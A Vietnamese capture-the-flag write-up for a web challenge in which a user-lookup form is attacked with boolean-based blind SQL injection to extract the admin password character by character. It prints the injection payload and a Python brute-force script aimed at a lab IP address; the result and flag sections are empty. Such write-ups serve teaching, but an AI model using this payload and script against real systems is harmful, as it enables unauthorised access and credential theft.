# Task

## Recon
Ngay khi vừa mở challenge lên thì ta có một giao diện cho phép người dùng nhập vào đó là ```uid``` và trang web sẽ tìm xem người dùng với uid đó có tồn tại không
Nhưng nếu như ta nhập vào là admin thì sẽ ra kết quả khác

## Exploit
Nhiệm vụ của chúng ta là tìm được password của admin và đăng nhập thành công vậy làm thế nào để có thể lấy được password của admin ở cột ```upw``` đây ta sẽ sử dụng payload như sau

admin' AND (SELECT CASE WHEN substr(upw, 1, 1) = 'c' then (select 1 from users where uid ='admin') else (select 1 from users where uid = '1') END FROM users WHERE uid='admin') --/*

Giải thích đầu tiên là nhập vào đó là chữ admin để hoàn thành câu lệnh sql và thêm vào đó điều kiện là cắt chuỗi ở cột ```upw``` nếu như chữ cái đầu là chữ 'c' thì thực hiện câu lệnh ```select 1 from users where uid = 'admin'``` nếu không thì thực hiện câu lệnh ```select 1 from users where uid = '1'``` tại sao lại cần phải như thế là do ta có thể sử dụng dòng thông báo nếu như có tồn tại thì thông báo nếu không thì in ra thông báo không tìm thấy đây sẽ là điệu kiện để ta có thể biết rằng câu lệnh đã thành công hay chưa

Để đẩy nhanh tiến trình bruteforce mình có viết một đoạn script bằng python để hỗ trợ

import requests
import string
alphabet = "abcdefghjhijklmnopqrstuvwxyz0123456789_"
url = "http://18.141.217.137:32056"
payload = ""
headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36"}
for i in range (1, 100):
    for char in alphabet:
        data = {
            "uid" : f"admin' AND (SELECT CASE WHEN substr(upw, 1, {i}) = '{payload + char}' then (select 1 from users where uid ='admin') else (select 1 from users where uid = '1') END FROM users WHERE uid='admin') --/*"
        }
        response = requests.get(url=url, headers=headers, params=data)
        if ("exists" in response.text):
            payload += char
            print("password is: " + payload)
            break

Kết quả chạy được là
Đăng nhập vào với username là ```admin``` và password vừa mới tìm được thôi

## Flag